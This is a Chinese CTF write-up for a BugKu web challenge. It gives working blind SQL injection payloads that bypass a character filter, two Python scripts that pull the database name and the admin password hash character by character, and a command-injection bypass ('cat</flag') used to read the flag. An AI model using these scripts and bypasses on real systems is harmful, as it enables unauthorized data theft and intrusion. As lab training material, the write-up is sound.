BugKu Web渗透 之 都过滤了
题目如下:
启动场景,打开网页。
发现是一个登陆页面,如下图所示。
测试发现,这一题和上一题 sql注入 很像。前面的方法基本上相同。
步骤一:随便输几个值去尝试。(目的:查看错误提示是否不同,确认屏蔽的敏感字符。)
1.输入用户名111,密码222,提示:username does not exist!
2.输入用户名admin,密码admin,提示:password error!(说明有admin用户)
3.输入用户名admin' or '1'='1,密码admin,提示:illegal character
注:之后我有使用sqlmap去爆破,但是sqlmap提示爆破不出来。下图为sqlmap的提示,可见只能自己手动去注入了。
步骤二:测试出被屏蔽的字符。步骤一测试提示有非法字符,可以先尝试测试非法字符有哪些。
方法:用字典添加各种可能使用到的高频字符和字符串,测试出不可用的非法字符和字符串。
我自己做了一个敏感字符的字典,保存为txt格式,内容如下图。
之后用bp的Intruder模块去跑。发现提示有:illegal character!!@_@ 或者 username error!!@_@
这两种返回长度不同,illegal character的返回是有非法字符或字符串的。点击lenth按返回结果的长度排序,红框中就是测试出来的敏感字符。
步骤三:绕过非法字符,想办法继续测试出可以注入的语句。
1.输入用户名admin'-0-',密码admin,提示:password error!
2.输入用户名admin'-1-',密码admin,提示:username error!
可见,用户名框可以通过 用户名+'-0-' 方式去注入(中间的值为数字0时提示为password error)。
步骤四:构造脚本,爆破数据。
1.根据步骤三的注入方法,编写python脚本,爆破数据库名。
首先爆破数据库名的长度,我随手写了个8,完整数据为:ddd'-((LENGTH(database()))-8)-'放入用户名框,结果直接显示password error。说明数据库名的长度就是8。这样数据库名长度的脚本我就不写了。
之后写数据库名的脚本,代码如下:
import requestsreUrl = "http://117.72.52.127:11000/login.php"databaseStr = ''for i in range(1,9): #假设有9个字符,1-9for j in range(45, 128): #根据ascii码,仅取有用的字符串和大小写字母 在46到127之间#print(i, j)nameStr = "ddd'-((ASCII(MID(database()FROM({}))))-{})-'".format(i, j)reqData = {'uname': nameStr,'passwd': 'admin'}res = requests.post(url = reUrl, data = reqData)if "password error!" in res.text:#print("password")databaseStr +=chr(j)print(i,j,databaseStr, "pass")break#if "username does not exist" in res.text:#print("=================")
print("\n" + databaseStr)
运行结果如下图:
说明数据库名为bugkuctf。
2.拼写sql语句,爆破表名。
开始我想到的也是和上一题SQL注入https://blog.csdn.net/cai_huaer/article/details/151112526?spm=1001.2014.3001.5501一样,用常见的表名去爆破。但是这一题不能直接判断为真,只能判断0或者非0。如果用获取第一个字符的ascii码去做对比,语句为ASCII(MID((SELECT(1)FROM(admin))from(1)))-97,那每个表名要跑近100次,这样肯定是不行的。也没有更简单的方法呢?
我想到直接用字符串去对比,如果不为真,则在MySQL和SQL Server中为0,这样也能判断出来。
为了验证,测试了:aa'-(('ad')='a')-',用ad字符串去和a字符串对比,结果肯定是false,在MySQL和SQL Server中为0。果然最后测试返回的结果是password error!
使用aa'-FALSE-'去测试也是返回password error!
这样可行,于是我尝试构造查询表格的语句,aa'-(mid((SELECT(1)FROM(admin))from(1))='a')-',尝试从admin表(表名是猜测)读取数据。
SELECT(1)FROM(admin)这段查询语句,有三种情况:
当admin表存在且有数据时,会返回多行1(有多少条数据返回多少个1);
当admin表存在且无数据时,会返回空;
当admin表不存在时,会报错。
那么,当admin表不存在,报错时,肯定无法比较字符串是否为a,那么返回就是username error。
最后发现aa'-(mid((SELECT(1)FROM(admin))from(1))='a')-',返回结果为password error!说明是存在admin表的。
3.拼写sql语句,爆破列名。
与上一题一样,我们是希望爆破密码列。那密码列的高频命名有以下几个:password,passwd,pwd,pass,pw,secret,secret_key。
依次尝试。
aa'-(mid((SELECT(password)FROM(admin))from(1))='a')-',提示illegal character!结果一查,发现password被屏蔽了。
aa'-(mid((SELECT(passwd)FROM(admin))from(1))='a')-',提示password error!说明列名就是passwd。
4.写脚本,爆破列名的数据。
import requestsreUrl = "http://117.72.52.127:19284/login.php"databaseStr = ''for i in range(1,36): #假设有36个字符,1-36for j in range(45, 128): #根据ascii码,仅取有用的字符串和大小写字母 在46到127之间#print(i, j)nameStr = "ddd'-((ASCII(MID((SELECT(passwd)FROM(admin))FROM({}))))-{})-'".format(i, j)reqData = {'uname': nameStr,'passwd': 'admin'}res = requests.post(url = reUrl, data = reqData)#print(i, j, res.text)if "password error!" in res.text:#print("password")databaseStr +=chr(j)print(i,j,databaseStr, "pass")break#if "username does not exist" in res.text:#print("=================")
print("\n" + databaseStr)
运行结果如下:
看起来像是md5值。
5.在网上爆破md5值。
6.使用用户名admin和密码bugkuctf尝试登陆。
跳转到一个监控页面:
步骤五:运行命令执行
输入ls测试,结果显示index.php。
尝试进入上一层目录,ls ..,提示危险字符,命令执行失败。 可见..被屏蔽了。
之后我想尝试进入根目录,输入cd /,提示危险字符,命令执行失败。
输入/,提示危险字符,命令执行失败。
后来看了评论,发现大家是用重定向后紧接着跟着/flag出来的,即cat</flag。
我很奇怪,为啥单独输入/不行,但是输入</又可以了?
cat</flag, tail</flag, more</flag都可以。
其中cat</flag这句话中:
<
是输入重定向符号,表示将后面的文件内容作为前面命令的输入;
/flag
是一个文件路径(通常是包含flag信息的文件)。
虽然最后这个屏蔽我有些不太理解,但是最终还是做出来了!